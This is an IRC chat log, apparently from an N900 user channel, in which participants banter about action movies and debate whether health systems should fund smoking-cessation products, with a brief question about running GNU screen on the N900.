| 23:07.50 | Macer | i don't think hollywood understands how much it hurts when someone is shot :) |
| 23:08.08 | Shapeshifter | mh I forgot the name |
| 23:08.08 | Macer | it's not like "let me just brush it off and start running around again" like rambo would lead you to believe haha |
| 23:08.10 | Shapeshifter | how could I |
| 23:08.20 | Macer | legend was an ok tom cruise movie |
| 23:08.28 | Shapeshifter | Demolition Man!! |
| 23:08.31 | Shapeshifter | that is fun |
| 23:08.35 | Macer | oh hell yeah! |
| 23:08.36 | Macer | haha |
| 23:08.38 | Macer | forgot about thatone |
| 23:09.00 | Macer | it is so like real life.. where people have awesome names like SIMON PHOENIX... and JOHN SPARTAN |
| 23:09.10 | Macer | :) |
| 23:09.16 | Macer | i want a name like simon phoenix |
| 23:09.42 | Shapeshifter | :) |
| 23:10.30 | Shapeshifter | http://upload.wikimedia.org/wikipedia/commons/c/c2/Flickr_-_nicogenin_-_66%C3%A8me_Festival_de_Venise_%28Mostra%29_-_Sylvester_Stallone_%2826%29.jpg |
| 23:10.33 | Shapeshifter | what a picture |
| 23:20.51 | swc|666 | has that same tie oddly |
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| 23:22.51 | swc|666 | spaceballs |
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| 23:26.09 | crashanddie | I just thought about something (yes, it hurts): Why are products to quit smoking not reimbursed by social security? (talking for countries that actually have SS) |
| 23:27.14 | swc|666 | yeah for real |
| 23:27.23 | swc|666 | or |
| 23:27.55 | swc|666 | in the U.S., the tobacco companies were mandated to spend X $'s /yr on anti-smoking campaigns .. why not make them give out free nicotine patches to quitters/etc |
| 23:28.13 | crashanddie | Well, no, that's ridiculous |
| 23:28.26 | crashanddie | It's like asking mcdonalds to give free passes to gyms |
| 23:28.29 | PerfDave | In the UK, you *can* get anti-smoking treatments on the NHS under certain circumstances. |
| 23:28.49 | crashanddie | PerfDave: erhm, I asked my GP and he laughed at the idea |
| 23:29.17 | d14 | where is mcd? x) |
| 23:29.25 | d14 | have higlite to mcd :)) |
| 23:29.27 | PerfDave | crashanddie: Under certain circumstances :) |
| 23:29.35 | crashanddie | PerfDave: which are? |
| 23:29.36 | MohammadAG | poor poor frals, 0 karma on fMMS |
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| 23:29.49 | PerfDave | crashanddie: Fucked if I know, I don't work in the NHS :) |
| 23:30.06 | crashanddie | I mean, on average, it takes 4 tries for a smoker to either completely quit smoking, or completely quit quitting. |
| 23:30.47 | PerfDave | But I do know people who've had access to nicotine patches etc. on the NHS. Possibly depends on whether your GP is happy to refer you or whether your PCT is happy to fund you, and whether your smoking is directly causing other health problems. |
| 23:30.47 | crashanddie | a full "quitting set" (patches, gums, whatev) costs roughly 130 eur, so let's say grossly 400 eur per smoker |
| 23:30.49 | Kegetys | you start smoking by your own will and choise so I guess it doesnt quite fit to something normally covered by social security |
| 23:30.54 | lcuk | crashanddie, gyms in mcdonalds stores or franchise outlets in existing gyms would probably be a good thing |
| 23:31.27 | crashanddie | Kegetys: except that smokers pay massive amount of taxes on cigarettes that massively fund social security |
| 23:31.47 | crashanddie | Kegetys: either refund my attempts to stop, or give me a priority pass in hospitals, I already pay a lot more than anyone else |
| 23:32.00 | Kegetys | dont buy them if you dont want to pay that ;) |
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| 23:32.22 | crashanddie | Kegetys: drinking in a conscious choice as well, however there are government-funded plans to help drinkers quit |
| 23:32.39 | crashanddie | s/in/is |
| 23:32.40 | Kegetys | yep, thats quite silly as well I think |
| 23:32.42 | lcuk | Kegetys, serious question - if everybody stopped smoking tomorrow would most of the hospitals close through lack of patients? |
| 23:32.50 | PerfDave | gave up smoking to try and help his sleep apnea |
| 23:32.52 | Kegetys | lcuk: huh? |
| 23:33.00 | lcuk | sorry, meant to crashanddie |
| 23:33.07 | BCMM | is GNU screen available on the n900? |
| 23:33.13 | lcuk | but its relating to the amount of extra treatment smokers need |
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| 23:33.37 | crashanddie | lcuk: nope, I don't think the change would be noticeable to be honest |
| 23:33.52 | lcuk | but the money coming in would |
| 23:33.56 | crashanddie | fast food kills more people than cigs do |
| 23:34.09 | lcuk | yeah there should be a speed limit for burgersw |
| 23:36.30 | crashanddie | lcuk: it's funny though, they say they want us to quit, but they're telling us "If you want to quit, you have to pay" |
| 23:36.51 | crashanddie | and also "if you don't want to quit, you have to pay" |
| 23:37.20 | Kegetys | and "be smart and dont even start and you're ok" but not everyone listens ;) |
| 23:37.24 | lcuk | you dont pay for either service if you never start |
| 23:37.43 | lcuk | and once you are you are already paying so its just a trnasfer |
| 23:38.09 | lcuk | they should sell vacations to desert islands with just food for a week |
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| 23:38.10 | crashanddie | meh, it's an addiction |
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| 23:40.34 | PerfDave | BCMM: I would be suprised if it weren't - pretty sure it'll compile against non-GNU libc without much work. |
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| 23:52.16 | trem | nite all, sweet dreams |
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